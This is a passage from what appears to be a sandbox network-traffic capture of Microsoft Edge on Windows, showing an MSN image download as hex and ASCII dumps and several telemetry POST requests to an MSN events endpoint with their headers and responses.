2024-11-21 18:58:55 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:55 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=72324 Expires: Fri, 22 Nov 2024 15:04:19 GMT Date: Thu, 21 Nov 2024 18:58:55 GMT Connection: close
2024-11-21 18:58:55 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 18:58:55 UTC	16384	IN	Data Raw: ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 d8 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-21 18:58:55 UTC	2324	IN	Data Raw: 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e 83 Data Ascii: r>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-21 18:58:56 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-21 18:58:56 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-21 18:58:56 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49826	52.168.112.67	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:57 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215535351&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11609 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 18:58:57 UTC	11609	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 31 38 3a 35 38 3a 35 35 2e 33 34 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 63 38 30 63 61 62 64 2d 36 33 62 31 2d 34 33 63 32 2d 61 36 37 39 2d 35 30 37 34 65 65 30 35 34 64 61 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 38 35 36 38 35 39 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T18:58:55.345Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"5c80cabd-63b1-43c2-a679-5074ee054da9","epoch":"1885685970"},"app":{"locale
2024-11-21 18:58:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=01638dc264904c86931c48747b4a882b&HASH=0163&LV=202411&V=4&LU=1732215537782; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 18:58:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3786bb4d877746fdb47703984f1d68f5; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 19:28:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2431 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 18:58:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49827	52.168.112.67	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:57 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215535382&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5094 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 18:58:57 UTC	5094	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 31 38 3a 35 38 3a 35 35 2e 33 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 63 38 30 63 61 62 64 2d 36 33 62 31 2d 34 33 63 32 2d 61 36 37 39 2d 35 30 37 34 65 65 30 35 34 64 61 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 38 35 36 38 35 39 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T18:58:55.379Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"5c80cabd-63b1-43c2-a679-5074ee054da9","epoch":"1885685970"},"app":{"locale
2024-11-21 18:58:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=40391ee929324d728d7f35774a64beea&HASH=4039&LV=202411&V=4&LU=1732215537813; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 18:58:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f2c6016c59a3470a9f07a4751223ee9b; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 19:28:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2431 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 18:58:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49828	52.168.112.67	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:58 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215536191&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5292 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; msnup=
2024-11-21 18:58:58 UTC	5292	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 31 38 3a 35 38 3a 35 36 2e 31 38 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 63 38 30 63 61 62 64 2d 36 33 62 31 2d 34 33 63 32 2d 61 36 37 39 2d 35 30 37 34 65 65 30 35 34 64 61 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 38 35 36 38 35 39 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T18:58:56.189Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"5c80cabd-63b1-43c2-a679-5074ee054da9","epoch":"1885685970"},"app":{"locale
2024-11-21 18:58:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f74e9133a3844a5ebe435ea1f8f7b5da&HASH=f74e&LV=202411&V=4&LU=1732215538499; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 18:58:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c827e4e36b7d4dbf994eaebaf9505316; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 19:28:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2308 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 18:58:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49829	52.168.112.67	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:58 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732215536345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9642 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; 